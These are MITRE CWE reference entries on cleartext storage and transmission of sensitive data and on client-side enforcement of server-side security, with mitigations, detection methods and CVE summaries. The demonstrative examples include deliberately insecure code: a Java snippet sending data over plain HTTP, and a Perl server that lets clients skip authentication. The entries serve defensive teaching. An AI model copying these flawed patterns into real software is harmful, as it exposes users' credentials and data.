Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Sensitive authentication information in cleartext in memory.
Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.
SSH client does not clear credentials from memory.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Affected Resources
  • Memory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1441 OWASP Top Ten 2025 Category A06:2025 - Insecure Design
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage in Memory
Software Fault Patterns SFP23 Exposed Data
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Observed_Examples, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Applicable_Platforms, Description, Name, Other_Notes, Potential_Mitigations, Terminology_Notes
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2013-07-17 Plaintext Storage in Memory
Back to top

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors. Diagram for CWE-319
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Files or Directories

Scope: Integrity, Confidentiality

Anyone can read the information by gaining access to the channel being used for communication. Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.

Read Application Data; Modify Files or Directories; Other

Scope: Integrity, Confidentiality

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

Implementation
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Implementation
When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

Testing
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Operation
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 5 J2EE Misconfiguration: Data Transmission Without Encryption
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1428 Reliance on HTTP instead of HTTPS
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1207 Debug and Test Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design For hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Class: System on Chip (Undetermined Prevalence)

Test/Debug Hardware (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {
//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.



Example 2


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission of sensitive information in their OT products.



Example 3


A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.



Example 4


The following Azure CLI command lists the properties of a particular storage account:

(informative)
Example Language: Shell 
az storage account show -g {ResourceGroupName} -n {StorageAccountName}

The JSON result might be:

(bad code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": false,
"type": "Microsoft.Storage/storageAccounts"
}

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

(good code)
Example Language: Shell 
az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

(good code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": true,
"type": "Microsoft.Storage/storageAccounts"
}

Note: to enable secure transfer using Azure's Portal instead of the command line:

  1. Open the Create storage account pane in the Azure portal.
  2. In the Advanced page, select the Enable secure transfer checkbox.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
Building Controller uses a protocol that transmits authentication credentials in plaintext.
Programmable Logic Controller (PLC) sends password in plaintext.
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 818 OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 858 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1148 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1439 OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011) SER02-J Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 3-3 Req SR 4.1
ISA/IEC 62443 Part 4-2 Req CR 4.1B
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007.
<https://web.archive.org/web/20160319230109/http://www.owasp.org/index.php/Top_10_2007-A9>. (URL validated: 2025-08-04)
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13.
<https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. (URL validated: 2023-04-07)
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Sections 3.1 and 3.10. 2022-08-16.
<https://www.cisecurity.org/benchmark/azure>. (URL validated: 2023-01-19)
[REF-1309] Microsoft. "Require secure transfer to ensure secure connections". 2022-07-24.
<https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer>. (URL validated: 2023-01-24)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-01-24 Accellera IP Security Assurance (IPSA) Working Group Accellera Systems Initiative
Submitted original contents of CWE-1324 and reviewed its integration into this entry.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Maintenance_Notes, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated References
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Other_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Description, Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2022-06-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2018-01-23 CWE Content Team MITRE
updated Abstraction
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Detection_Factors, Relationships
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-02-16 CWE Content Team MITRE
updated References
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Transmission of Sensitive Information
Back to top

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
+ Extended Description
When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; DoS: Crash, Exit, or Restart

Scope: Access Control, Availability

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Architecture and Design
If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 693 Protection Mechanism Failure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 565 Reliance on Cookies without Validation and Integrity Checking
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 603 Use of Client-Side Authentication
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 290 Authentication Bypass by Spoofing
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 300 Channel Accessible by Non-Endpoint
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 836 Use of Password Hash Instead of Password for Authentication
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 471 Modification of Assumed-Immutable Data (MAID)
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1012 Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and Design Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

(good code)
Example Language: Perl 
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {

# username/pass is valid, go ahead and update the info!
writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
print "ERROR: Invalid Authentication!\n";
}

SERVER-SIDE (server.pl):

(bad code)
Example Language: Perl 
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
($username, $pass) = split(/\s+/, $args, 2);
$result = AuthenticateUser($username, $pass);
writeSocket($sock, "$result\n");
# does not close the socket on failure; assumes the

# user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
if (validateAddress($args)) {
$res = UpdateDatabaseRecord($username, "address", $args);
writeSocket($sock, "SUCCESS\n");
}
else {
writeSocket($sock, "FAILURE -- address is malformed\n");
}
}

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.



Example 2


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: e-commerce product has a "front-end restriction" for coupon use (CWE-602), but the server does not restrict the number of requests for the same coupon (CWE-799)
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
ASP program allows upload of .asp files by bypassing client-side checks.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
client allows server to modify client's configuration and overwrite arbitrary files.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Fuzzing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
